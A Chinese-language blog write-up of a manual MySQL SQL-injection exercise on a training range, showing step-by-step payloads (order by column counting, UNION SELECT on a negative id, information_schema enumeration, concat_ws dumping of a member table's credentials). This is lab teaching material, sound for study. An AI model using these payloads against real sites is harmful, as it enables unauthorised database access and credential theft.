Mysql基本注入
实验环境:墨者学院Mysql手工注入漏洞测试靶场
后台源码没有进行任何字符过滤。
首先进入靶场环境
先用admin
登陆试试
果然不行,这时看到用户登录下方有一个停机维护通知,点进去瞅瞅
看到这里链接上有id = 1
,怀疑这里会有注入点。
判断注入点
先简单判断是不是字符型注入点,使用单引号闭合语句,注释后面的语句
?id = 1'--+
发现页面有异常,可能不是字符型,再试试数字型注入
?id = 1 and 1 = 1
发现and 1 = 1
没有返回异常,再进一步进行判断
?id = 1 and 1 = 2
页面出现异常,说明这里存在数字型注入点
猜解字段数
发现存在注入点之后使用order by
语句判断字段的数目。
?id=1 order by 3
先试一下是不是3列,发现没有报错,说明至少存在3列,接着猜解。
尝试到5发现报错了,因为字段没有5列,使用order by
时无法根据第5列排序,所以出错,由此判断字段数目是4.
联合查询
因为猜解出来的字段数是4,所以联合查询的语句应该这么写?id=1 union select 1,2,3,4
,但因为这个语句是成立的,为了让页面爆出我们需要的字段,这里就需要构造一个错误的语句,让数据库报错时返回我们需要的信息。
?id=-1 union select 1,2,3,4
可以看到这里页面上爆出了2和3两个数字,说明2和3两个数字对应当前数据表的两个字段会回显到页面上的,这样就可以根据2,3两个回显位查询一些我们需要的信息。
常用的Mysql系统函数有:
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
比如查询当前的数据库名称和当前用户。
?id=-1 union select 1,database(),user(),4
这样我们就成功查询到当前数据库,接着找这个数据库里的数据表。
查询数据表
补充1:数据库关键库
这里需要使用到数据库中一个重要的库information_schema
,这个库下面的schemadata
表中存放着所有数据库的信息,其中schema_name
列中保存着所有数据库名,tables
表中存放着所有数据表的信息,其中table_schema
列存放着数据库名,table_name
列存放着数据表名,columns
表中存放着所有数据表的所有列信息,其中column_name
存放着所有列名,table_name
存放着表名。
补充2:concat函数的用法
1.concat(str1,str2)
将多个结果一行返回。如有任何一个参数为NULL ,则返回值为 NULL。
mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)
mysql> select concat(1,2,3);
+---------------+
| concat(1,2,3) |
+---------------+
| 123 |
+---------------+
1 row in set (0.00 sec)
2.concat_ws(separator,str1,str2)
concat_ws是concat()的特殊形式。第一个参数是其它参数的分隔符,分隔符可以是一个字符串,也可以是其它参数。
mysql> select concat_ws('~',1,2,3);
+----------------------+
| concat_ws('~',1,2,3) |
+----------------------+
| 1~2~3 |
+----------------------+
1 row in set (0.00 sec)
3.group_concat完整语法如下,默认使用逗号分隔多个结果:
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_name = database()
这样就查询到当前数据库里面有两个数据表,分别为StormGroup_member
,notice
。
查询列名
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询到有这个表有四个字段id
,name
,password
,status
。
查询数据
根据上面查询到的四个字段查询数据
?id=-1 union select 1,concat_ws('~',id,name,password,status),3,4 from StormGroup_member
成功查到账号密码,不过这个密码好像是加密的,先进行解密
使用这个账号密码登陆试试
最后尴尬的一幕出现了(/哭)。
Mysql基本注入的更多相关文章
- SQLMAP学习笔记2 Mysql数据库注入
SQLMAP学习笔记2 Mysql数据库注入 注入流程 (如果网站需要登录,就要用到cookie信息,通过F12开发者工具获取cookie信息) sqlmap -u "URL" - ...
- MYSQL手工注入(详细步骤)—— 待补充
0x00 SQL注入的分类: (1)基于从服务器接收到的响应 ▲基于错误的 SQL 注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL 盲注 ...
- MySQL手工注入学习-1
MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...
- Mysql常见注入
Mysql显错注入 1.判断注入类型为字符型:http://219.153.49.228:43074/new_list.php?id=tingjigonggao' and 1=1 --+2.判断字段为 ...
- 手工注入——MySQL手工注入实战和分析
今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...
- MySQL手工注入进阶篇——突破过滤危险字符问题
当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...
- MySQL SQL 注入
如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本博文将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是 ...
- mysql手工注入
以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...
- mysql sqlmap 注入尝试
假设注入点为 http://www.abc.com/news.php?id=12 //探测数据库信息 sqlmap -u http://www.abc.com/news.php?id=12 –dbs ...
随机推荐
- Local Model Poisoning Attacks to Byzantine-Robust Federated Learning
In federated learning, multiple client devices jointly learn a machine learning model: each client d ...
- docker-数据管理的备份与恢复
一.数据备份 备份示例如下: 要求:备份nfs数据卷里的data目录里的test-nfs.txt文件到宿主机/data/backup目录下 语法:docker run --volumes -f ...
- WinForm 自定义控件 - RooF
由3个标签组成 直接代码 public partial class Roof : UserControl { public Roof() { InitializeComponent(); } priv ...
- MySQL的安装、启动和基础配置 —— windows版本
下载 第一步:打开网址,https://www.mysql.com,点击downloads之后跳转到https://www.mysql.com/downloads 第二步 :跳转至网址https:// ...
- webpack实践(二)- webpack配置文件
webpack系列博客中代码均在github上:https://github.com/JEmbrace/webpack-practice <webpack实践(一)- 先入个门> < ...
- JS---案例:点击按钮摇起来 & 星星闪动 (挺难看的)
案例1:点击按钮摇起来 思路: 1. 2张图片,放进div里面,摇起来的本质是,此div按上下左右的位置和在一定的时间内发生移动 2. 所以用随机数的概念来实现位置的移动,用setInterval来实 ...
- JS + Canvas画图Demo
直接上代码,复制粘贴就能用: <%@ page language="java" contentType="text/html; charset=UTF-8" ...
- docker学习笔记---基本命令
[root@docker ~]# docker Usage: docker [OPTIONS] COMMAND A self-sufficient runtime for containers Opt ...
- 【编码】彻底弄懂ASCII、Unicode、UTF-8之间的关系
计算机中的所有字符,说到底都是用二进制的0.1的排列组合来表示的,因此就需要有一个规范,来枚举规定每个字符对应哪个0.1的排列组合,这样的规范就是字符集. ASCII 全称是“美国信息交换标准码”(A ...
- webpack 配置babel-loader babel7
babel 7版本配置 在webpack中 默认只能处理部分 ES6的新语法,一些更高级的ES6或ES7的语法,webpack是处理不了的这个时候就需要借助第三方的loader 来帮助webpack ...